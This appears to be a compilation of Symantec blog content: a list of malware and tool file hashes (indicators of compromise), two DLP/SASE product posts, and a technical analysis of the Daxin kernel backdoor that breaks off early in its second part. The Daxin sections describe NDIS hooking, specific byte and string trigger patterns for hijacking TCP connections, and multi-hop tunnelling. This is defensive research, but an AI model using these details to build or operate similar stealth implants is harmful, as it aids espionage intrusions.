270c888f8fbeb3bdc2dbcf8a911872791e05124d9bd253932f14dc4de1d2aed2 Cobalt Strike
6c5338d84c208b37a4ec5e13baf6e1906bd9669e18006530bf541e1d466ba819 Cobalt Strike
0f4fa41c4ab2ac238cbe92438cb71d139a7810c6c134b16b6c6005c4c5b984e4 Cobalt Strike
b53f3c0cd32d7f20849850768da6431e5f876b7bfa61db0aa0700b02873393fa Cobalt Strike
c4753ca743f0bfa82590e9838ad48af862814052e5c90a6dab97c651942a9d61 Cobalt Strike
040f59f7e89787ee8db7ba44a11d7ed2ce9065ac938115933ca8cb37bb99abc5 Cobalt Strike
89a09433e0a57d8c01d5bab4ef4e6def979d2bc8e1ffad47ee6eadd3b85d09e9 Cobalt Strike
64dd55e1c2373deed25c2776f553c632e58c45e56a0e4639dfd54ee97eab9c19 Cobalt Strike
523dcd9d9b971a8b4c53b5cfd9a003d7fcc0e6a4e0a06039db7f87ba7fb0a167 Cobalt Strike
664bb48bf3e8a7d7036e4b0029fa10e1a90c2562ad9a09a885650408d00dea1b Cobalt Strike
461ba29d9386de39071d8f2f7956be21fb4fa06df8dd1db6dec3da0982e42f9f Cobalt Strike
d551b4f46ad7af735dfa0e379f04bdb37eda4a5e0d9fe3ea4043c231d034176c Cobalt Strike
8b23414492ebf97a36d53d6a9e88711a830cbfb007be756df4819b8989140c2d Cobalt Strike
a8611c0befdb76e8453bc36e1c5cfea04325e57dffb21c88760c6e0316319b36 Cobalt Strike
d4e9986e9ad85daae7fabd935f021b26d825d693209bed0c9084d652feef0d77 Cobalt Strike
a7f477021101837696f27159031c27afec16df0a92355dfe0eb06e8b23bff7f6 Cobalt Strike
00be065f405e93233cc2f0012defdcbb1d6817b58969d5ffd9fd72fc4783c6f4 Cobalt Strike
3f0256ae16587bf1dbbd3b25a50f972883ae41bce1d77f464b2a5c77fd736466 Cobalt Strike
e2a5fb1ca722474b76d6da5c5b1d438a1e58beca52864862555c9ab1b533e72d ScreenConnect
ea38cff329692f6b4c8ade15970b742a9a8bb62a44f59227c510cb2882fa436f ScreenConnect
d7267fe13e073dcfe5b0d319e41646a3eb855444d25c01d52d6dab9de695e1b1 ScreenConnect
91605641a4c7e859b7071a9841d1cd154b9027e6a58c20ec4cadafeaf47c9055 ScreenConnect
df28158ea229ab67f828328fc01ea7629f3b743ecea8c0b88fba80cd7efc3a75 ScreenConnect
5778bf9e4563a80ec48e975eaa81fd6fe2f4b504ffcd61fcfbceb65a45eb8345 ScreenConnect
bcaa3d8dcba6ba08bf20077eadd0b31f58a1334b7b9c629e475694c4eeafd924 ScreenConnect
d40ae98a7d18c2c35c0355984340b0517be47257c000931093a4fc3ccc90c226 ScreenConnect
935c1861df1f4018d698e8b65abfa02d7e9037d8f68ca3c2065b6ca165d44ad2 Atera
d0ceb18272966ab62b8edff100e9b4a6a3cb5dc0f2a32b2b18721fea2d9c09a5 Atera
840e1f9dc5a29bebf01626822d7390251e9cf05bb3560ba7b68bdb8a41cf08e3 Atera
cef987a587faded1a497d37cf8d1564a287ef509338dbd956ea36c8e6aa9a68e Atera
bc866cfcdda37e24dc2634dc282c7a0e6f55209da17a8fa105b07414c0e7c527 Atera
3a3fe8352e0a2bca469dba0dc5922976d6ba4dc8b744ac36056bfb25dbf7fc68 Atera
8258756c2e0ca794af527258e8a3a4f7431fbd7df44403603b94cb2a70cb1bdf Atera
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450 Atera
486b2c2b0ca934ab63a9cf9f4b660768ad34c8df85e6f070aec0b6a63f09b0d8 Atera
6f88fb88ffb0f1d5465c2826e5b4f523598b1b8378377c8378ffebc171bad18b Atera
ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f Atera
5d8f9cf481d72c53438cdfff72d94b986493e908786e6a989acad052d1939399 Atera
5157d2c1759cb9527d780b88d7728dc4ba5c9ce5fddff23fb53c0671febb63bc Atera
de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c Atera
9a7c58bd98d70631aa1473f7b57b426db367d72429a5455b433a05ee251f3236 Atera
ff79d3c4a0b7eb191783c323ab8363ebd1fd10be58d8bcc96b07067743ca81d5 Atera
35e6742e840490ee8ccfbbccacd5e7e61a1a28a2e23fb7b5083a89271a5fd400 Atera
265b69033cea7a9f8214a34cd9b17912909af46c7a47395dd7bb893a24507e59 WinRAR
f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba WinRAR
b1e7851bd2edae124dc107bec66af79febcb7bc0911022ac31b3d24b36b3f355 WinRAR
8258756c2e0ca794af527258e8a3a4f7431fbd7df44403603b94cb2a70cb1bdf WinRAR
9e3c618873202cd6d31ea599178dd05b0ab9406b44c13c49df7a2cbc81a5caa4 WinRAR
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450 WinRAR
d1144b0fb4e1e8e5104c8bb90b54efcf964ce4fca482ee2f00698f871af9cb72 WinRAR
0244b889e1928a51b8552ab394f28b6419c00542a1bbc2366e661526790ec0a7 WinRAR
0d068a6aa2df88613e1c5c7ba412a5a5bc3cadc3f3ab4b76d10035ba8eec27bf WinRAR
33f6acd3dfeda1aadf0227271937c1e5479c2dba24b4dca5f3deccc83e6a2f04 Restic
99abf0d33e2372521384da3c98fd4a3534155ad5b6b7852ebe94e098aa3dc9b8 TightVNC
366f5d5281f53f06fffe72f82588f1591191684b6283fb04102e2685e5d8e95c WinSCP
eea7d9af6275c1cbf009de73a866eac4bc5d0703078ffe73b0d064cca4029675 WinSCP
2e64bf8ca66e4363240e10dd8c85eabbf104d08aba60b307435ff5760d425a92 Pandora RC
40c81a953552f87de483e09b95cbc836d8d6798c2651be0beba3b1a072500a15 Chisel
d3b125f6441485825cdf3e22e2bfdeda85f337e908678c08137b4e8ef29303db Chisel
b9ef2e948a9b49a6930fc190b22cbdb3571579d37a4de56564e41a2ef736767b Chisel
9b78a7d8fd95fe9275c683f8cca54bc6c457b2cb90c549de227313a50da4fc41 Chisel
7ef2cc079afe7927b78be493f0b8a735a3258bc82801a11bc7b420a72708c250 Chisel
|
Data Loss Prevention Is an Essential Building Block for the Secure Access Service Edge
Users and data are everywhere. Data loss prevention also needs to be everywhere.
Securing the Modern Workforce
Ever wonder why phishing and all its variants never go out of style? It’s because, to a bad actor, a compromised end user is worth their weight in gold, opening the door to troves of personally identifiable information (PII) and intellectual property (IP). That’s why data loss prevention (DLP) is an essential weapon in the defensive arsenal of cyber security.
However, the prevention of end-user data loss is undergoing profound change. The prevalence of mobile users and the increasing reliance on cloud-based services has rendered traditional cyber security strategies obsolete. Formerly, if the network perimeter was protected, the interior was presumed to be safe. No more.
SASE addresses the shortfalls of traditional hub-and-spoke architectures by moving traffic inspection and policy enforcement to where modern users, applications and data reside - outside of the enterprise rather than inside.
It’s not possible to trust an end-user once he or she has gained access to the corporate network. In our opinion, to address this new reality now and in the future, leveraging what Gartner has developed as cloud-delivered cyber security architecture called Secure Access Service Edge (SASE) will be that solution. For a look at SASE and how we are embracing it, please see this blog entry by Rees Johnson, Sr. Director of Product management for the Symantec Enterprise Network Group.
SASE addresses the shortfalls of traditional hub-and-spoke architectures by moving traffic inspection and policy enforcement to where modern users, applications and data reside - outside of the enterprise rather than inside. By applying SASE principles, organizations can address data loss by identifying sensitive data across any connection, regardless of where the user or device is located, what they are accessing, and where the resource being accessed is located. In other words, security goes to the traffic rather than traffic going to the security.
The SASE Approach to Data Loss Prevention
Here at Symantec, we’re pursuing a data-centric approach to cloud security - one that puts data loss prevention everywhere the users, devices, applications and data live. By converging DLP with our cloud and web security services such as Secure Web Gateway (SWG), Cloud Access Security Broker (CASB), and Zero Trust Network Access (ZTNA), we can intelligently inspect content at the secure access service edge without backhauling traffic bound for SaaS, IaaS or the Internet to a centralized data center. One of the benefits of this approach is that it allows security teams to readily detect sensitive data movement and consistently apply data protection policies logically closer to the resources being accessed while eliminating unnecessary latency. It also allows them to quickly remediate exposed data at the point of creation or use through inline and API-based controls.
A SASE security provider should effectively identify and classify sensitive data in encrypted traffic streams, apply a consistent set of policies to data-at-rest and data-in-motion across cloud and web services, and deliver a single-pass content inspection architecture from the cloud. SASE addresses the limitations of legacy security architectures that are fragmented between on-premises and cloud resources, and shifts security controls to wherever the users, devices, applications and data need to be.
How do you get there from here?
We believe SASE is poised to transform security and warrants consideration by enterprises because it can enable security teams to support the needs of digital business transformation and mobile workforces.
The adoption of SASE can build on many of your existing security investments, such as DLP, Cloud Access Security Broker, and Secure Web Gateway. Gartner recommends that organizations “avoid SASE offerings that are stitched together” and “evaluate the integration of the services to be orchestrated as a single experience from a single console, with a single method for setting policy.”
With that goal in mind, I’ll point out that we offer the core technologies needed to enable SASE:
Data Loss Prevention (DLP) monitors sensitive data movement across an organization and prevents accidental or malicious exfiltration of data in motion, data at rest and data in use.
Cloud Access Security Broker (CASB) is a policy enforcement point that sits between cloud consumers and cloud service providers, applying security policies as cloud resources and data are accessed.
Zero Trust Network Access (ZTNA), also known as a software-defined perimeter, limits access and grants least privilege rights to users for both cloud resources as well as on-premises resources through a trust broker.
Secure Web Gateway (SWG) inspects web traffic flowing from remote users to the internet, and enforces network security policies to filter malicious websites and content.
User and Entity Behavior Analytics (UEBA) monitors behavior during sessions and identifies anomalies and excessive risk.
Integrating these technologies so they complement each other under the SASE umbrella means you gain a firm foundation for your organization’s cyber security now and in the years ahead. Keep an eye out for future posts on these and other technologies as we continue our discussion of SASE and what it means to you.
|
Data Loss: The Risk of MacOS and Linux
Reducing data loss risk from unprotected endpoints with DLP 16
In this conversation with Sunil Choudrie, Suresh Ramkumar (Product Manager for Symantec DLP Endpoint) explains why Symantec DLP 16.0 includes expanded protection for macOS devices, and new support for Linux desktops.
Q: Suresh, why are we investing in DLP Endpoint? So many organizations are moving their operations to the cloud?
A: That’s a great question Sunil. Actually, it’s exactly because data is in the cloud that we need to protect the endpoint - it’s a vital control as the endpoint serves as the connection between the user and the cloud. This has come into stronger focus, with organizations adopting more flexible working styles, as staff may be able to work from anywhere, but they are likely using a known device. We see the endpoint as a mutually supportive element for cloud based working, whether you are office based or remote- the endpoint is critical.
Q: OK, that makes sense. But macOS? The majority of users are on Windows devices, why extend support?
A: Sunil, the simple answer is that our customers are using all these platforms. There is no point providing great DLP controls on Windows devices if data can leak from other devices. That’s like locking the front door, but leaving the back door wide open.
We have long invested in providing broad coverage in our DLP solution, which has included providing support for macOS. In DLP 16 we extend the protection even further. This is really important for our customers, as macOS represents a significant proportion of today’s computing environment, it can’t be dismissed as a niche operating system. Research shows that macOS accounts for 23% share of devices being used by US Enterprises.
Our clear aspiration is that we will provide equivalent functionality between Windows and macOS. Therefore, in DLP 16 we add extended capabilities around print monitoring and the usage of Chromium-based Edge browser. It allows us to expand our capabilities relating to data-at-rest, and also our support for data-in-motion when using removable storage, copying to network shares, browser monitoring etc. Customers that are already protecting macOS, can cover some new and important use cases. If customers need to expand their DLP controls to macOS endpoints (which we would recommend), they can be confident in our robust, well tested solution.
Q: Suresh, what’s the deal with Linux? Surely that’s not widely used by businesses?
A: Here’s the twist: If you were just to look at the market share of this operating system in enterprises you’d conclude it’s small. However, when you look deeper, this is an operating system preferred by developers and other IT staff. This is a very important population of users if you want to protect internal knowledge, hence our development in this capability. We typically find that software developers who use Linux access them via virtual desktops or on physical devices. This gives them flexibility but also presents a degree of data loss risk. So, the relatively smaller Linux estate is equally important as is the dominant Windows user base or that of macOS.
Symantec DLP 16 supports a Linux Agent for Red Hat Enterprise Linux (RHEL). Using this, enterprises can run automated discovery of sensitive content on Linux endpoints to meet compliance requirements. Leveraging the strength of the various detection technologies supported by Symantec DLP, enterprises can be assured that their sensitive data is flagged regularly and appropriate remediation taken in terms of safely quarantining the content.
Q: What’s so important about what we’ve done? How does this all come together?
A: If we step back, it’s clear that enterprises need complete visibility into how their users are handling data. Typically, the user base is spread over a large estate of windows endpoints and a relatively smaller but growing proportion of both mac and Linux users. Symantec DLP can provide that visibility across these multiple operating systems. Having consistent visibility and policy controls makes both operational and security sense.
Leveraging the strength of the various detection technologies supported by Symantec DLP, enterprises can be assured that their sensitive data is flagged regularly and appropriate remediation taken in terms of safely quarantining the content.
Q: So job done? Or do we have further plans?
A: If only it was that simple! In future releases, we look towards adding support for monitoring other data loss vectors and extending support to Linux distributions beyond RHEL. We also want to listen to and respond to our customers’ feedback as they deploy and use these new agents.
It is important to note that we continually develop and test our endpoint agents to ensure they are compatible with the latest operating system so that we can provide same day support for macOS and Windows updates. We provide the same for popular browser updates too.
Q: How do you pick the right DLP macOS agent? What should be considered?
A: That’s a really important question as we aren’t the only DLP vendor to provide a macOS agent. We believe our ability to support a wide variety of data loss vectors with a full suite of detection technologies best meets the needs of Enterprise DLP Administrators. For example our policy model means we provide the granular configurability within a single policy that applies to all the endpoint platforms. Additionally newer features like our integration with Symantec Information Centric Analytics (ICA) can be leveraged on mac endpoints as well to provide user risk based adaptive detection and response.
I would also highlight these three features to look for in a DLP macOS agent:
Does it offer cross-browser support including support for the native Safari browser? How are the latest OS and browsers updates supported so the DLP agent remains compatible?
Is great detection technology available on the mac agent, offering the same breadth and depth as it does for the Windows agent? What about user risk?
Is granular configuration available so administrators of large enterprises can manage the macOS agents with the same fine-grained control they apply to all the data loss vectors?
Q: How do Symantec customers get the new agents? What’s your advice for the best way for them to get started?
A: The new agents are available as part of the software download for DLP 16.0 on our Broadcom Software Support portal. Customers can simply package the new macOS agent and distribute it via their MDM tools like JAMF to upgrade existing mac agents. This will enable them for Print monitoring & Edge support on macOS. For the RHEL platform, customers can package and distribute the RPM bundle. This will enable them to run discover scans on the endpoint file system.
Q: Suresh, how does someone find out more?
A: The simplest way is to visit our customer support site where we describe all the improvements we’ve made to DLP Endpoint.
|
Daxin Backdoor: In-Depth Analysis, Part One
In the first of a two-part series of blogs, we will delve deeper into Daxin, examining the driver initialization, networking, key exchange, and backdoor functionality of the malware.
Following on from our earlier blog detailing the discovery of Backdoor.Daxin, Symantec’s Threat Hunter Team, part of Broadcom Software, would like to provide further technical details on this threat.
Used by a China-linked espionage group, Daxin exhibits technical sophistication previously unseen by such actors. In particular, it implements communications features that appear to have been designed for deep penetration of highly-secured networks. The focus of this blog series is to document how these features were implemented.
Daxin comes in the form of a Windows kernel driver. In this blog, we will detail the driver initialization, networking, key exchange, and backdoor functionality. In our next blog, the second of two, we will examine the communications and network features of the malware.
Our analysis is based on a Backdoor.Daxin sample (SHA256: ea3d773438c04274545d26cc19a33f9f1dbbff2a518e4302addc1279f9950cef). The forensic evidence collected by us indicates that this sample had been deployed in November 2021 against two separate organizations.
The described Daxin features are contained in many earlier Daxin variants unless stated otherwise. The recent changes to the driver codebase are to support more recent Windows versions and fix certain bugs.
Driver initialization
The Daxin sample analyzed appears to be packed with a standard VMProtect packer. Many earlier samples feature an additional, outside, packing layer on top of VMProtect. That outside packer was custom-made for the driver and even reused the same customized encryption algorithm used in the final payload. We believe that the attackers decided to remove that custom packer due to compatibility issues with recent Windows releases.
Whenever the driver is started, the code added by the packer decrypts and decompresses the final payload, and then passes control to the entry point of the decompressed payload. At this point, the malicious code is visible in kernel memory, albeit with some obfuscations.
The bulk of the payload initialization code is involved with the network stack of the Windows kernel. This includes identification of some non-exported structures and hooking of the Windows TCP/IP stack.
Daxin hooks the Network Driver Interface Specification (NDIS) layer by modifying every pre-existing NDIS_OPEN_BLOCK for the TCP/IP protocol, where the ReceiveNetBufferLists and ProtSendNetBufferListsComplete handlers are replaced with its own. For each of these NDIS_OPEN_BLOCKs, the related NDIS_M_DRIVER_BLOCK may also be modified by replacing any existing SendNetBufferListsHandler. When the SendNetBufferListsHandler is not present, the corresponding NDIS_MINIPORT_BLOCK is modified by replacing NextSendNetBufferListsHandler.
To identify all NDIS_OPEN_BLOCKs for the TCP/IP protocol, the driver relies on calling NdisRegisterProtocol() to create and return a new head of non-exported ndisProtocolList. Then it walks ndisProtocolList of every NDIS_PROTOCOL_BLOCK comparing the Name attribute of each visited NDIS_PROTOCOL_BLOCK structure with the string “TCPIP”. The OpenQueue field of the matching structure points to the list of NDIS_OPEN_BLOCKs to hook. This basic technique is known and documented, but Daxin hooks a slightly different set of handlers. We believe that these adjustments are not exclusive to Daxin and are driven by architectural changes in Windows Network Architecture.
In order to identify the related NDIS_M_DRIVER_BLOCKs and NDIS_MINIPORT_BLOCKs, the driver analyses “ndis.sys” machine code to locate non-exported ndisFindMiniportOnGlobalList() and ndisMiniDriverList. The relevant NDIS_MINIPORT_BLOCKs are then obtained starting with the previously identified NDIS_OPEN_BLOCKs, where the RootDeviceName of each instance is passed as a parameter for the ndisFindMiniportOnGlobalList() call that returns the structure to hook. Finally, to locate related NDIS_M_DRIVER_BLOCKs, the driver walks ndisMiniDriverList checking the MiniportQueue list of each item for the already identified NDIS_MINIPORT_BLOCKs.
Details of the hooking process demonstrated in this blog were captured in the lab using a virtual machine with a kernel debugger attached.
When registering the fake protocol, Daxin calls the NdisRegisterProtocol() API passing a ProtocolCharacteristics argument with the hardcoded Name attribute “NDISXRPT”.
Figure 1. Hardcoded name and obfuscated NdisRegisterProtocol() call.
Because the layout of the NDIS_OPEN_BLOCK structure changes between different Windows builds, Daxin needs to determine the correct offsets to use. First it checks NtBuildNumber against a set of hardcoded values for which NDIS_OPEN_BLOCK offsets are explicitly given (Figure 2).
Figure 2: Daxin checks NtBuildNumber against a set of hardcoded values for which NDIS_OPEN_BLOCK offsets are explicitly given.
The most recent Windows build number hardcoded in Daxin’s codebase is 17763. It corresponds to Windows Server 2019 and Windows 10 version 1809 (Redstone 5). When the Windows build is not recognized, Daxin attempts to use an alternative method to determine the NDIS_OPEN_BLOCK offsets.
Daxin then collects details of all NDIS structures to hook, as discussed earlier, along with information about the related network interfaces. Finally, for each network interface, it replaces the original handlers with its own.
Figure 3. For each network interface, Daxin replaces the original handlers with its own.
Networking
Both the ReceiveNetBufferLists hook and the SendNetBufferListsHandler (or NextSendNetBufferListsHandler) hook implement logic to inspect the network packets and then hijack some packets before passing the remaining packets to the original handlers. The ProtSendNetBufferListsComplete hook completes any send operation initiated by Daxin, such that NET_BUFFER_LIST structures owned by malware are removed and deallocated before calling the original handler.
Before describing the hooks’ implementation in detail, we will first examine a few examples of the observed behavior in Daxin.
In the first scenario, the ReceiveNetBufferLists hook checks the data section of certain TCP packets for predefined patterns. Any matching TCP packets are then removed from the NetBufferLists before calling the original ReceiveNetBufferLists handler. At the same time, for each removed TCP packet, the malicious driver sends two new packets. The first packet is a spoofed RST TCP packet sent to the original destination, so that its recipient marks the TCP connection as closed. The second packet is an ACK TCP packet sent to the original source. From that point, the malicious driver maintains the TCP connection with the original source, relying on the ReceiveNetBufferLists hook to hijack any related network packets. A test demonstrating this scenario is illustrated in Figure 4.
Figure 4. The ReceiveNetBufferLists hook checks the data section of certain TCP packets for a predefined “magic” pattern before hijacking the connection.
When generating its network traffic, Daxin uses its own code to forge network packets, bypassing the legitimate Windows TCP/IP stack. To illustrate this, we reconfigured the Windows TCP/IP stack to use non-standard Time to Live (TTL). Since Daxin does not respect the updated parameter, its traffic stands out in the Wireshark capture shown in Figure 4.
The TCP retransmissions in the Wireshark capture are due to our scripts for the kernel debugger that slow down driver response. The retransmissions are not expected otherwise. We decided to activate these scripts to illustrate the internal working of the driver, where we can recognize individual packets from our Wireshark capture, as illustrated in Figure 5.
Figure 5. By capturing individual packets, we can illustrate the internal working of Daxin.
In another scenario, Daxin initiates a new TCP connection and maintains it over the whole lifetime of the TCP session. The malware relies on the ReceiveNetBufferLists hook to hijack any network packets related to this connection. The hijacked packets do not reach the legitimate Windows TCP/IP driver. An example TCP connection initiated by the malicious driver will be discussed later in this blog series.
In the last scenario, Daxin sends a DNS request using the UDP protocol. The response UDP packet is hijacked by the ReceiveNetBufferLists hook and the DNS response is parsed by the malicious driver. We exercised this functionality in our lab when exploring configuration options related to command-and-control connectivity.
The described scenarios indicate that Daxin implements its own TCP/IP stack. This was confirmed with further reverse engineering of the driver, where we identified both data structures and subroutines implementing IPv4, TCP, and UDP.
The main purpose of the NDIS hooks installed by Daxin is to allow for its malicious TCP/IP stack to coexist with the legitimate Windows TCP/IP stack on the same machine. When certain conditions are met, the hooks also allow it to hijack pre-existing TCP connections.
The ReceiveNetBufferLists hook checks the NblFlags member of the NET_BUFFER_LIST structure at the head of its NetBufferLists argument for the NDIS_NBL_FLAGS_IS_LOOPBACK_PACKET flag. Whenever the flag is set, the hook simply passes the network data to the original ReceiveNetBufferLists handler with no other processing. Otherwise, it calls a helper subroutine passing the NetBufferLists linked list of NET_BUFFER_LISTs. The helper subroutine divides the original linked list of NET_BUFFER_LISTs into two chains: one chain of allowed packets for further processing by the legitimate stack and another chain of hijacked packets to drop. The hook then passes the chain of allowed packets to the original ReceiveNetBufferLists handler. Next, if the NDIS_RECEIVE_FLAGS_RESOURCES flag is not set in its ReceiveFlags argument, the hook releases ownership of the chain of hijacked packets using NdisReturnNetBufferLists().
The SendNetBufferListsHandler hook checks if the NdisPoolHandle member of the NET_BUFFER_LIST structure, passed as its NetBufferList argument, corresponds to the pool created by Daxin itself to use when sending malicious traffic. If so, the hook simply passes the network data to the original SendNetBufferListsHandler with no other processing. Otherwise, it calls the same helper subroutine as used by the ReceiveNetBufferLists hook to divide its NetBufferList argument into two chains. It then passes the chain of allowed packets to the original SendNetBufferListsHandler. Finally, the chain of hijacked packets is retired using the NdisMSendNetBufferListsComplete() or ProtSendNetBufferListsComplete handler.
The helper subroutine used by both hooks walks the original linked list of NET_BUFFER_LISTs extracting network packets from each visited NET_BUFFER_LIST structure and calling the malicious packet filter for each extracted packet. The verdict returned by the packet filter for the first packet from the visited NET_BUFFER_LIST structure determines if the structure should be allowed for further processing by the legitimate stack or dropped by the hook.
The packet filter is central to the networking capabilities of Daxin as it controls dispatching of the extracted packets to various Daxin's sub-modules, where each sub-module implements different functionality. The filter returns an “accept” or “drop” verdict to indicate if relevant packets should reach the legitimate TCP/IP stack or not. It operates as follows:
Checks if the packet is related to any of the network flows from the malicious network tunnel. If so, it captures the packet for forwarding to the remote attacker via an encrypted channel and returns with a “drop” verdict.
Checks if the Ethernet source and destination MAC addresses are equal. If so, it returns with an “accept” verdict.
In cases where it was called from the ReceiveNetBufferLists hook, it checks if the Ethernet source MAC address corresponds to any of the network interfaces of the local machine. If so, it returns with an “accept” verdict.
In cases of TCP over IPv4 packets, it tracks certain parameters of an active TCP connection for use by TCP hijacking logic in the future (if needed).
In cases of non-IPv4 packets or when called from the ReceiveNetBufferLists hook, it calls each handler from the list of Daxin’s packet handlers, stopping on the first handler that claims ownership of the packet. Whenever Daxin’s handler claims ownership on the IPv4 packet, the filter returns with a “drop” verdict.
These Daxin packet handlers are dynamically registered and unregistered by the malicious TCP/IP stack as required, minimizing the overhead. Furthermore, in case of TCP, the list of handlers is bucketed by the server port (which supports TCP servers listening for new connections) or the combination of client and server ports (which supports TCP sessions). The packet is parsed before calling handlers and the parser logic limits the combination of supported protocols to ARP, UDP over IPv4, and TCP over IPv4.
In cases of TCP over IPv4 packets when called from the ReceiveNetBufferLists hook, it checks that the TCP data in the packet:
Starts with the string “POST” and contains the string “756981520337” without any line break “\r\n” in-between, or
Starts with the sequence of bytes 0x10 0x99 0x10 and is at least eight-bytes long, or
Starts with the sequence of bytes 0x10 0x99 0x11 and is at least eight-bytes long
When a match is found, it triggers hijacking of the related TCP connection and returns with a “drop” verdict. It should be noted that these checks are not limited to the start of the TCP conversation, and so it is possible to trigger hijacking after exchanging an arbitrary amount of data. This provides the option to start communication with the malicious driver at the end of a long conversation with a legitimate server hosted on the infected computer.
Finally, the ProtSendNetBufferListsComplete hook walks the list of NET_BUFFER_LIST structures passed as its second argument checking if the NdisPoolHandle member of the visited NET_BUFFER_LIST structure corresponds to the pool created by the malicious driver itself to use when sending malicious traffic. The matching structures are removed from the list and, after validating the Flags member, deallocated. The hook then passes the modified list to the original ProtSendNetBufferListsComplete handler.
A technical paper by Kaspersky on the Slingshot advanced persistent threat (APT) group describes a technique to identify NET_BUFFER_LIST that is very similar to how the ProtSendNetBufferListsComplete hook works, including the use of NdisAllocateNetBufferListPool() and NdisAllocateNetBufferAndNetBufferList(). However, there are no other significant structural overlaps.
Key exchange
Whenever Daxin hijacks a TCP connection, it checks the received data for a specific message. The expected message initiates a custom key exchange, where two peers follow complementary steps. When discussing this key exchange protocol, we are going to use the term “initiator” when referring to the side sending the initial message. The opposite side will be called “target”. Interestingly, the analyzed sample can implement both the initiator side and the target side of this custom key exchange protocol.
Firstly, Daxin starts the target-side protocol for each hijacked TCP connection. Additionally, it can be configured to connect to a remote TCP server, where it exchanges a certain handshake and then also starts the target-side protocol. This scenario will be discussed in our next blog in this series in a section titled “External communication.” Finally, Daxin can be instructed to connect to a remote TCP server, where it starts the initiator-side protocol. We will expand on this in the next section.
Backdoor capabilities
A successful key exchange opens an encrypted communication channel. Daxin uses this communication channel to exchange various messages. Some messages instruct the malware to perform various operations, such as starting an arbitrary process on the affected computer. Others carry results of these operations, such as output generated by the started process, for example. The set of operations recognized by Daxin is rather compact, with the most basic operations being reading and writing arbitrary files.
Daxin can also execute arbitrary EXE and DLL binaries. In the case of EXE files, Daxin starts a new user-mode process. The standard input and output of the started process is redirected, so that the remote attacker can interactively send input and receive output. When ordered to execute a DLL file, Daxin performs injection into one of the pre-existing “svchost.exe” processes.
Daxin provides a dedicated communication mechanism for any additional components deployed by the attacker on the affected computer. Any compatible component can open a “\\.\Tcp4” device created by Daxin to register itself for communication, where it can optionally assign a 32-bit service identifier to distinguish itself from other services that may be active on the same computer. Daxin then forwards any matching communication between the remote attacker and registered services.
Next, the remote attacker can inspect and update the backdoor configuration. The configuration is implemented as a generic key-value structure that is stored in an encrypted form in the Windows Registry for persistence. All used configuration items will be listed in the “External communication” section in a subsequent blog.
There are also dedicated messages that encapsulate raw network packets to be transmitted via a local network adapter. Any response packets are then captured by the malicious driver and forwarded to the remote attacker. This allows the remote attacker to establish communications with any servers reachable from the affected machine on the target’s network, creating a network tunnel for the remote attacker to interact with servers of interest.
Finally, a special message can be used to set up new connectivity across multiple malicious nodes, where the list of nodes is included in a single command. For each node, the message provides the details required to establish communication, specifically the node IP address, its TCP port number, and the credentials to use during custom key exchange. When Daxin receives this message, it picks the next node from the list. Then it uses its malicious TCP/IP stack to connect to the TCP server listed in the picked entry. Once connected, Daxin starts the initiator-side protocol. On the peer computer, if it is infected with a copy of Daxin, the initiator traffic causes the TCP connection to be hijacked, as explained earlier. This is followed by the custom key exchange to open a new encrypted communication channel. Next, the connecting driver sends an updated copy of the original message over this new channel, where the position of the next node to use is incremented. The process then repeats for the remaining nodes on the list.
The TCP connections created during the above process, along with the connection that received the original connectivity setup instruction are then used for subsequent communications. Whenever an intermediate node receives a message, it may execute the requested operation or forward it along the connectivity path. For certain operations, the node to execute the operation is specified by the position along the path. In some remaining cases, the operation is always forwarded to the last node. Finally, certain operations are always executed by the first node only.
This method to create multi-hop connectivity is noteworthy. It is not uncommon for the attackers to jump through multiple hops in victim networks to get around firewalls or to better blend in with usual network traffic. This usually involves multiple steps when using other malware, where each jump requires a separate action. However, in the case of the analyzed sample, the attackers combined these into a single operation. This may indicate that Daxin is optimized for attacks against well-protected networks and cases when the attackers need to periodically reconnect into the compromised network.
The ability to use hijacked TCP connections for backdoor communications is also significant. This may be required when exploiting tightly controlled networks, with strict firewall rules or when the defenders monitor for network anomalies. On the infected machine, any malicious network connections are bypassing the Windows TCP/IP stack, and this could provide some degree of stealth. The attackers invested significant effort in implementing these features with a malicious TCP/IP stack supporting TCP connection hijacking.
The implementation of network tunneling, where the malicious driver passes the packets directly between the remote attacker and the target’s network demonstrates how the attackers attempt to minimize their footprint without sacrificing functionality.
Backdoor demonstration
In order to demonstrate Daxin’s backdoor capabilities, we prepared a lab setup to both illustrate what was described in the previous section and also to collect some examples of malicious network traffic to discuss later.
Our lab setup consisted of four separate networks and five machines. Some of the machines had two network interfaces to communicate with different networks, but all packet forwarding functionality was disabled. Each machine ran various network services that were reachable from its neighbors only.
Figure 6. Test setup to illustrate Daxin’s backdoor capabilities.
In our setup, the attackers can communicate with “Alice-PC”, while all of the other machines are unreachable directly to the attackers. This simulates the network of a hypothetical victim, where machines serving different roles have very restrictive connectivity. “Alice-PC” could represent a DMZ service that is accessible from the internet, but all the other machines are tightly isolated.
We infected all of the configured machines with Daxin, except for just one machine deep in our network that was left clean. Next, based on our understanding of the malicious communications protocol gained during reverse engineering of the malicious driver, we implemented a rough client to interact with the Daxin backdoor running on “Alice-PC”. We used this client to instruct the backdoor on “Alice-PC” to create a communications channel to “Dave-PC” passing via two intermediate nodes: “Bob-PC” and “Charlie-PC”. The connectivity was established successfully, and we were able to interact with all the infected machines. Finally, we were able to use this malicious network tunnel via “Dave-PC” to communicate with legitimate services on “Clean-PC”.
Conclusion
This concludes the first part of our technical analysis of Daxin. In our second, and final blog, we will examine the communications and networking features of the malware.
Symantec Enterprise Blogs
YOU MIGHT ALSO ENJOY
9 MIN READ
Daxin: Stealthy Backdoor Designed for Attacks Against Hardened Networks
Espionage tool is the most advanced piece of malware Symantec researchers have seen from China-linked actors.
|
Daxin Backdoor: In-Depth Analysis, Part Two
In the second of a two-part series of blogs, we examine the communications and networking features of Daxin.
This is the concluding part of our in-depth analysis of Backdoor. Daxin, advanced malware that is being used by a China-linked espionage group.
In this blog, we will analyze the communications and network features of the malware.
Communications protocol
In our previous blog, we set up a lab consisting of four separate networks and five machines. Some of the machines had two network interfaces to communicate with different networks, but all packet forwarding functionality was disabled. Each machine ran various network services that were reachable from its neighbors only.
Figure 1. Test setup to illustrate Daxin’s backdoor capabilities.
